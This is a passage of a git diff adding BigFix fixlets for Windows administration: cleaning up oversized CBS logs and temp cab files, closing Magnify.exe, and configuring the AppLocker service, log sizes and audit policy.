+<P style="MARGIN-BOTTOM: 0px; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; COLOR: rgb(0,33,99); PADDING-BOTTOM: 0px; PADDING-TOP: 0px; FONT: 15px 'segoe ui', arial, sans-serif; PADDING-LEFT: 0px; WIDOWS: 1; LETTER-SPACING: normal; PADDING-RIGHT: 0px; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px">This Action will remove the log files that are too large to be handled by makecab.exe.&nbsp; Any \Windows\Logs\CBS\CbsPersist_XXX.log file larger than 1,000 MB is removed, as well as any cab_ files from C:\Windows\Temp.</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>if exists property &quot;in proxy agent context&quot; then not in proxy agent context else true</Relevance>
+    <Relevance><![CDATA[version of operating system >= version "6"]]></Relevance>
+    <Relevance><![CDATA[exists files whose (name of it as lowercase starts with "cbspersist" and name of it as lowercase ends with ".log" and size of it / 1024 / 1024 > 1000) of folders "Logs\CBS" of windows folder]]></Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2015-08-26</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 27 Aug 2015 16:21:44 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to clean up CBS logs.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Enter your action script here
+action uses wow64 redirection false
+delete __appendfile
+appendfile net stop TrustedInstaller
+appendfile {concatenation "%0d%0a" of ("del /q %22" & it & "%22") of pathnames of files whose (name of it as lowercase starts with "cbspersist" and name of it as lowercase ends with ".log" and size of it / 1024 / 1024 > 1000) of folders "Logs\CBS" of windows folder}
+appendfile {concatenation "%0d%0a" of ("del /q %22" & it & "%22") of pathnames of files whose (name of it as lowercase starts with "cab_" ) of folders "TEMP" of windows folder}
+appendfile net start TrustedInstaller
+
+delete DeleteLog.cmd
+move __appendfile DeleteLog.cmd
+waithidden cmd /c DeleteLog.cmd > {pathname of windows folder}\TEMP\cbscleanup.txt 2>&1
+
+
+pause while {exists files whose (name of it as lowercase starts with "cbspersist" and name of it as lowercase ends with ".log" and size of it / 1024 / 1024 > 2100) of folders "Logs\CBS" of windows folder AND  (now - active start time of action) < (2 * minute)}
+
+]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Cleanup Component-Based Servicing (CBS) Logs - Too Large - system may run out of hard drive space.bes b/Sites/Windows Management/Fixlets/Fixlets/Cleanup Component-Based Servicing (CBS) Logs - Too Large - system may run out of hard drive space.bes
new file mode 100644
index 000000000..a70b53588
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Cleanup Component-Based Servicing (CBS) Logs - Too Large - system may run out of hard drive space.bes	
@@ -0,0 +1,57 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Cleanup Component-Based Servicing (CBS) Logs - Too Large - system may run out of hard drive space
+  ID       : 11930
+  Author   : JasonWalker
+  Domain   : BESC
+  Imported : 2016-04-08T11:38:20
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Cleanup Component-Based Servicing (CBS) Logs - Too Large - system may run out of hard drive space</Title>
+    <Description><![CDATA[<P style="MARGIN-BOTTOM: 0px; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; COLOR: rgb(0,33,99); PADDING-BOTTOM: 0px; PADDING-TOP: 0px; FONT: 15px 'segoe ui', arial, sans-serif; PADDING-LEFT: 0px; WIDOWS: 1; LETTER-SPACING: normal; PADDING-RIGHT: 0px; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px">We've had repeated instances where a Windows 7 x64 client runs out of hard drive space, and found that C:\Windows\TEMP is being consumed with hundreds of files with names following the pattern "cab_XXXX_X", generally 100 MB each, and these files are constantly generated until the system runs out of space. &nbsp;Upon removing the files &amp; rebooting, the files start being generated again.<BR></P>
+<P style="MARGIN-BOTTOM: 0px; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; COLOR: rgb(0,33,99); PADDING-BOTTOM: 0px; PADDING-TOP: 0px; FONT: 15px 'segoe ui', arial, sans-serif; PADDING-LEFT: 0px; WIDOWS: 1; LETTER-SPACING: normal; PADDING-RIGHT: 0px; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px"><BR class=k-br></P>
+<P style="MARGIN-BOTTOM: 0px; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; COLOR: rgb(0,33,99); PADDING-BOTTOM: 0px; PADDING-TOP: 0px; FONT: 15px 'segoe ui', arial, sans-serif; PADDING-LEFT: 0px; WIDOWS: 1; LETTER-SPACING: normal; PADDING-RIGHT: 0px; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px">This appears to be&nbsp;caused by large Component-Based Servicing logs. &nbsp;These are stored at C:\Windows\Logs\CBS. &nbsp;The current log file is named "cbs.log". &nbsp;When "cbs.log" reaches a certain size, a cleanup process renames the log to "CbsPersist_YYYYMMDDHHMMSS.log" and then attempts to compress it into a .cab file.<BR class=k-br></P>
+<P style="MARGIN-BOTTOM: 0px; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; COLOR: rgb(0,33,99); PADDING-BOTTOM: 0px; PADDING-TOP: 0px; FONT: 15px 'segoe ui', arial, sans-serif; PADDING-LEFT: 0px; WIDOWS: 1; LETTER-SPACING: normal; PADDING-RIGHT: 0px; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px"><BR class=k-br></P>
+<P style="MARGIN-BOTTOM: 0px; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; COLOR: rgb(0,33,99); PADDING-BOTTOM: 0px; PADDING-TOP: 0px; FONT: 15px 'segoe ui', arial, sans-serif; PADDING-LEFT: 0px; WIDOWS: 1; LETTER-SPACING: normal; PADDING-RIGHT: 0px; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px">However, when the cbs.log reaches a size of 2 GB before that cleanup process compresses it, the file is to large to be handled by the makecab.exe utility. &nbsp;The log file is renamed to CbsPersist_date_time.log, but when the makecab process attempts to compress it the process fails (but only after consuming some 100 MB under \Windows\Temp). &nbsp;After this, the cleanup process runs repeatedly (approx every 20 minutes in my experience). &nbsp;The process fails every time, and also consumes a new ~ 100 MB in \Windows\Temp before dying. &nbsp;This is repeated until the system runs out of drive space.</P>
+<P style="MARGIN-BOTTOM: 0px; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; COLOR: rgb(0,33,99); PADDING-BOTTOM: 0px; PADDING-TOP: 0px; FONT: 15px 'segoe ui', arial, sans-serif; PADDING-LEFT: 0px; WIDOWS: 1; LETTER-SPACING: normal; PADDING-RIGHT: 0px; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px">&nbsp;</P>
+<P style="MARGIN-BOTTOM: 0px; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; COLOR: rgb(0,33,99); PADDING-BOTTOM: 0px; PADDING-TOP: 0px; FONT: 15px 'segoe ui', arial, sans-serif; PADDING-LEFT: 0px; WIDOWS: 1; LETTER-SPACING: normal; PADDING-RIGHT: 0px; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px">This Action will remove the log files that are too large to be handled by makecab.exe.&nbsp; Any \Windows\Logs\CBS\CbsPersist_XXX.log file larger than 1,000 MB is removed, as well as any cab_ files from C:\Windows\Temp.</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>if exists property &quot;in proxy agent context&quot; then not in proxy agent context else true</Relevance>
+    <Relevance><![CDATA[version of operating system >= version "6"]]></Relevance>
+    <Relevance><![CDATA[exists files whose (name of it as lowercase starts with "cbspersist" and name of it as lowercase ends with ".log" and size of it / 1024 / 1024 > 1000) of folders "Logs\CBS" of windows folder]]></Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2015-08-26</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 27 Aug 2015 16:21:44 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to clean up CBS logs.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Enter your action script here
+action uses wow64 redirection false
+delete __appendfile
+appendfile net stop TrustedInstaller
+appendfile {concatenation "%0d%0a" of ("del /q %22" & it & "%22") of pathnames of files whose (name of it as lowercase starts with "cbspersist" and name of it as lowercase ends with ".log" and size of it / 1024 / 1024 > 1000) of folders "Logs\CBS" of windows folder}
+appendfile {concatenation "%0d%0a" of ("del /q %22" & it & "%22") of pathnames of files whose (name of it as lowercase starts with "cab_" ) of folders "TEMP" of windows folder}
+appendfile net start TrustedInstaller
+
+delete DeleteLog.cmd
+move __appendfile DeleteLog.cmd
+waithidden cmd /c DeleteLog.cmd > {pathname of windows folder}\TEMP\cbscleanup.txt 2>&1
+
+
+pause while {exists files whose (name of it as lowercase starts with "cbspersist" and name of it as lowercase ends with ".log" and size of it / 1024 / 1024 > 2100) of folders "Logs\CBS" of windows folder AND  (now - active start time of action) < (2 * minute)}
+
+]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Close Magnify.exe - Windows (24573).bes b/Sites/Windows Management/Fixlets/Fixlets/Close Magnify.exe - Windows (24573).bes
new file mode 100644
index 000000000..89bc5e1af
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Close Magnify.exe - Windows (24573).bes	
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Close Magnify.exe - Windows
+  ID       : 24573
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2017-07-04T11:43:22
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Close Magnify.exe - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists processes &quot;Magnify.exe&quot;</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2017-06-18</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 04 Jul 2017 18:39:21 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+// TODO: test
+
+waithidden cmd /C taskkill { ("/pid " & it) of concatenations "/pid " of (it as string) of pids of processes "Magnify.exe" } /T /F
+]]></ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Application Identity Service - Automatic Start - Windows (20699).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Application Identity Service - Automatic Start - Windows (20699).bes
new file mode 100644
index 000000000..f248882c1
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Application Identity Service - Automatic Start - Windows (20699).bes	
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Applocker Application Identity Service - Automatic Start - Windows
+  ID       : 20699
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-25T06:18:02
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Applocker Application Identity Service - Automatic Start - Windows</Title>
+    <Description><![CDATA[<P>Sets the Applocker Application Identity Service to automatically start </P>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A></P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>NOT in proxy agent context</Relevance>
+    <Relevance>(product info string of operating system = &quot;Enterprise&quot; or product info string of operating system = &quot;Server&quot;)</Relevance>
+    <Relevance>start type of service &quot;appidsvc&quot; != &quot;auto&quot;</Relevance>
+    <Category>Application Whitelisting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+
+wait sc config AppIDSvc start= auto
+wait net start AppIDSvc</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Log - AppX Deployment Max Size - 20mb - Windows (20591).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Log - AppX Deployment Max Size - 20mb - Windows (20591).bes
new file mode 100644
index 000000000..4066fc3aa
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Log - AppX Deployment Max Size - 20mb - Windows (20591).bes	
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Applocker Log - AppX Deployment Max Size - 20mb - Windows
+  ID       : 20591
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-11T11:03:27
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Applocker Log - AppX Deployment Max Size - 20mb - Windows</Title>
+    <Description><![CDATA[<P>Sets the maximum log size for the applocker AppX Deployment log to 20mb.</P>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A></P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>(product info string of operating system = &quot;Enterprise&quot; or product info string of operating system = &quot;Server&quot;)</Relevance>
+    <Relevance>(if (not exists value &quot;MaxSize&quot; of it) then (true) else (value &quot;MaxSize&quot; of it as integer != 20971520)) of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Applocker/Packaged app-Deployment&quot; of native registry</Relevance>
+    <Category>Application Whitelisting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-13</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+
+wait wevtutil.exe sl &quot;Microsoft-Windows-AppLocker/Packaged app-Deployment&quot; /ms:20971520</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Log - AppX Execution Max Size - 20mb - Windows (20592).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Log - AppX Execution Max Size - 20mb - Windows (20592).bes
new file mode 100644
index 000000000..7f86105f6
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Log - AppX Execution Max Size - 20mb - Windows (20592).bes	
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Applocker Log - AppX Execution Max Size - 20mb - Windows
+  ID       : 20592
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-11T11:03:35
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Applocker Log - AppX Execution Max Size - 20mb - Windows</Title>
+    <Description><![CDATA[<P>Sets the maximum log size for the applocker AppX Execution log to 20mb</P>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>(product info string of operating system = &quot;Enterprise&quot; or product info string of operating system = &quot;Server&quot;)</Relevance>
+    <Relevance>(if (not exists value &quot;MaxSize&quot; of it) then (true) else (value &quot;MaxSize&quot; of it as integer != 20971520)) of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Applocker/Packaged app-Deployment&quot; of native registry</Relevance>
+    <Category>Application Whitelisting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-13</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+
+wait wevtutil.exe sl &quot;Microsoft-Windows-AppLocker/Packaged app-Execution&quot; /ms:20971520</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Log - EXE_DLL Max Size - 20mb - Windows (20593).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Log - EXE_DLL Max Size - 20mb - Windows (20593).bes
new file mode 100644
index 000000000..d419e5d04
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Log - EXE_DLL Max Size - 20mb - Windows (20593).bes	
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Applocker Log - EXE/DLL Max Size - 20mb - Windows
+  ID       : 20593
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-11T11:03:44
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Applocker Log - EXE/DLL Max Size - 20mb - Windows</Title>
+    <Description><![CDATA[Sets the maximum log size for the applocker EXE and DLL log to 20mb
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>(product info string of operating system = &quot;Enterprise&quot; or product info string of operating system = &quot;Server&quot;)</Relevance>
+    <Relevance>(if (not exists value &quot;MaxSize&quot; of it) then (true) else (value &quot;MaxSize&quot; of it as integer != 20971520)) of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Applocker/EXE and DLL&quot; of native registry</Relevance>
+    <Category>Application Whitelisting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-13</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+
+wait wevtutil.exe sl &quot;Microsoft-Windows-AppLocker/EXE and DLL&quot; /ms:20971520</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Log - MSI_Script Max Size - 20mb - Windows (20594).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Log - MSI_Script Max Size - 20mb - Windows (20594).bes
new file mode 100644
index 000000000..11bd92328
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Log - MSI_Script Max Size - 20mb - Windows (20594).bes	
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Applocker Log - MSI/Script Max Size - 20mb - Windows
+  ID       : 20594
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-11T11:03:55
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Applocker Log - MSI/Script Max Size - 20mb - Windows</Title>
+    <Description><![CDATA[Sets the maximum log size for the applocker MSI and Script log to 20mb&nbsp;&nbsp;
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>(product info string of operating system = &quot;Enterprise&quot; or product info string of operating system = &quot;Server&quot;)</Relevance>
+    <Relevance>(if (not exists value &quot;MaxSize&quot; of it) then (true) else (value &quot;MaxSize&quot; of it as integer != 20971520)) of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Applocker/MSI and Script&quot; of native registry</Relevance>
+    <Category>Application Whitelisting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-13</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+
+wait wevtutil.exe sl &quot;Microsoft-Windows-AppLocker/MSI and Script&quot; /ms:20971520</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Method - Audit AppX,EXE,MSI,Script - Windows (20595).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Method - Audit AppX,EXE,MSI,Script - Windows (20595).bes
new file mode 100644
index 000000000..673f897ec
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Method - Audit AppX,EXE,MSI,Script - Windows (20595).bes	
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Applocker Method - Audit AppX,EXE,MSI,Script - Windows
+  ID       : 20595
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-11T11:04:02
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Applocker Method - Audit AppX,EXE,MSI,Script - Windows</Title>
+    <Description><![CDATA[<P>This policy sets the enforcement method for the different Applocker file types. Specifically it configures:</P>
+<P>AppX - Audit</P>
+<P>Executables - Audit</P>
+<P>Installers - Audit</P>
+<P>Scripts - Audit</P>
+<P>This will only take effect if the current enforcement mode is undefined. Once an enforcement mode is defined it's not advisable to try to change it without first reseting the Applocker configuration.&nbsp;</P>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>(not exists (key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2&quot; of native registry))  or  ((value &quot;EnforcementMode&quot; of key &quot;Appx&quot; of it as integer != 0) | true or (value &quot;EnforcementMode&quot; of key &quot;Appx&quot; of it as integer != 0) | true or (value &quot;EnforcementMode&quot; of key &quot;Msi&quot; of it as integer != 0) | true or (value &quot;EnforcementMode&quot; of key &quot;Script&quot; of it as integer != 0) | true) of (key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2&quot; of native registry)</Relevance>
+    <Category>Application Whitelisting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Enter your action script here
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete applocker.xml
+
+createfile until _end_
+<AppLockerPolicy Version="1">
+	<RuleCollection Type="Appx" EnforcementMode="AuditOnly">
+	</RuleCollection>
+	<RuleCollection Type="Exe" EnforcementMode="AuditOnly">
+	</RuleCollection>
+	<RuleCollection Type="Msi" EnforcementMode="AuditOnly">
+	</RuleCollection>
+	<RuleCollection Type="Script" EnforcementMode="AuditOnly">
+	</RuleCollection>
+</AppLockerPolicy>
+_end_
+move __createfile Applocker.xml
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -command "Set-ApplockerPolicy -Merge -XMLPolicy ""{pathname of file "Applocker.xml" of client folder of current site}"""
+]]></ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Method - Enforce AppX,EXE,MSI,Script - Windows (20596).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Method - Enforce AppX,EXE,MSI,Script - Windows (20596).bes
new file mode 100644
index 000000000..8e1432fca
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Method - Enforce AppX,EXE,MSI,Script - Windows (20596).bes	
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Applocker Method - Enforce AppX,EXE,MSI,Script - Windows
+  ID       : 20596
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-11T11:04:10
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Applocker Method - Enforce AppX,EXE,MSI,Script - Windows</Title>
+    <Description><![CDATA[<P>This policy sets the enforcement method for the different Applocker file types. Specifically it configures:</P>
